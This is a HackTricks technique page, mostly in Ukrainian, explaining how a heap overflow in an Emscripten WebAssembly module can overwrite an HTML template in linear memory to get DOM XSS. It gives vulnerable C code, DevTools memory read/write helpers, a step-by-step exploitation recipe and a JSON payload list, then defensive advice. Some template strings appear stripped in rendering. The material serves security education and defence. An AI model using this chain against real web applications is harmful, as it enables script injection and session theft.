WebAssembly пошкодження лінійної пам'яті до DOM XSS (template overwrite)

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Ця техніка показує, як баг пам'яті всередині модуля WebAssembly (WASM), скомпільованого з Emscripten, можна перетворити на надійний DOM XSS навіть якщо вхідні дані санітизовані. Поворот полягає в пошкодженні записуваних констант в лінійній пам'яті WASM (наприклад, HTML format templates) замість атаки на санітизований початковий рядок.

Ключова ідея: у моделі WebAssembly код розміщується в виконуваних сторінках, що не допускають запису, але дані модуля (heap/stack/globals/"constants") знаходяться в єдиній плоскій лінійній пам'яті (сторінки по 64KB), доступній для запису модулем. Якщо некоректний C/C++ код записує за межі буфера, ви можете перезаписати суміжні об'єкти і навіть константні рядки, вбудовані в лінійну пам'ять. Коли така константа пізніше використовується для побудови HTML для вставки через DOM sink, ви можете перетворити санітизований вхід у виконуваний JavaScript.

Модель загрози та попередні умови

  • Веб-додаток використовує Emscripten glue (Module.cwrap) для виклику WASM-модуля.
  • Стан застосунку зберігається в лінійній пам'яті WASM (наприклад, C struct'и з вказівниками/довжинами на буфери користувача).
  • Input sanitizer кодує метасимволи перед збереженням, але пізніше рендеринг будує HTML, використовуючи форматний рядок, збережений в лінійній пам'яті WASM.
  • Існує примітив корупції лінійної пам'яті (наприклад, heap overflow, UAF, або unchecked memcpy).

Мінімальна вразлива модель даних (приклад)

c
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;

typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory

Уразливий шаблон логіки

  • addMsg(): виділяє новий буфер розміром під очищений ввід і додає msg до s.mess, подвоюючи capacity за допомогою realloc коли потрібно.
  • editMsg(): повторно санітизує і memcpy’ить нові байти в існуючий буфер без перевірки, що нова довжина ≤ попереднього виділення → intra‑linear‑memory heap overflow.
  • populateMsgHTML(): форматує очищений текст із вбудованим шаблоном типу "

    %.*s

    ", що знаходиться в linear memory. Повернений HTML потрапляє в DOM sink (наприклад, innerHTML).

Грумінг аллокатора з використанням realloc()

c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
  • Надішліть достатню кількість повідомлень, щоб перевищити початкову ємність. Після розширення realloc() часто розміщує s->mess одразу після останнього буфера користувача в лінійній пам'яті.
  • Переповніть останнє повідомлення через editMsg(), щоб зіпсувати поля всередині s->mess (наприклад, перезаписати msg_data вказівники) → довільний перепис вказівника в лінійній пам'яті для даних, що пізніше відображатимуться.

Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source

  • Sanitization захищає введення, не sinks. Знайдіть format stub, який використовується populateMsgHTML(), наприклад:
  • "

    %.*s

    " → change to ""
  • Знайдіть stub детерміновано, скануючи лінійну пам'ять; це простий байтовий рядок у Module.HEAPU8.
  • Після того як ви перезапишете stub, sanitized message content стає JavaScript-обробником для onerror, тож додавання нового повідомлення з текстом на кшталт alert(1337) дає і виконується одразу в DOM.

Chrome DevTools workflow (Emscripten glue)

  • Зробіть break на першому Module.cwrap виклику в JS glue і зайдіть у місце виклику wasm, щоб захопити аргументи-покажчики (числові зсуви в лінійній пам'яті).
  • Використовуйте typed views, наприклад Module.HEAPU8, для читання/запису пам'яті WASM з консолі.
  • Допоміжні сніпети:
javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int

End-to-end exploitation recipe

  1. Groom: додайте N малих повідомлень, щоб викликати realloc(). Переконайтеся, що s->mess суміжний із буфером користувача.
  2. Overflow: викличте editMsg() для останнього повідомлення з більшим payload, щоб перезаписати запис у s->mess, встановивши msg_data повідомлення 0 вказувати на (stub_addr + 1). +1 пропускає провідний '<', щоб зберегти вирівнювання тегів під час наступного редагування.
  3. Template rewrite: відредагуйте повідомлення 0 так, щоб його байти перезаписали шаблон на: "img src=1 onerror=%.*s "
  4. Trigger XSS: додайте нове повідомлення, чиї санітизовані дані — JavaScript, наприклад alert(1337). Рендеринг видає і виконується.

Example action list to serialize and place in ?s= (Base64-encode with btoa before use)

json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

Чому цей bypass працює

  • WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
  • The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
  • realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.

Узагальнення та інші вектори атаки

  • Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
  • Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.

Рекомендації щодо захисту

  • In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
  • Keep immutable templates out of writable linear memory or integrity-check them before use.
  • Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
  • Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
  • Avoid trusting URL-embedded state for privileged flows.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks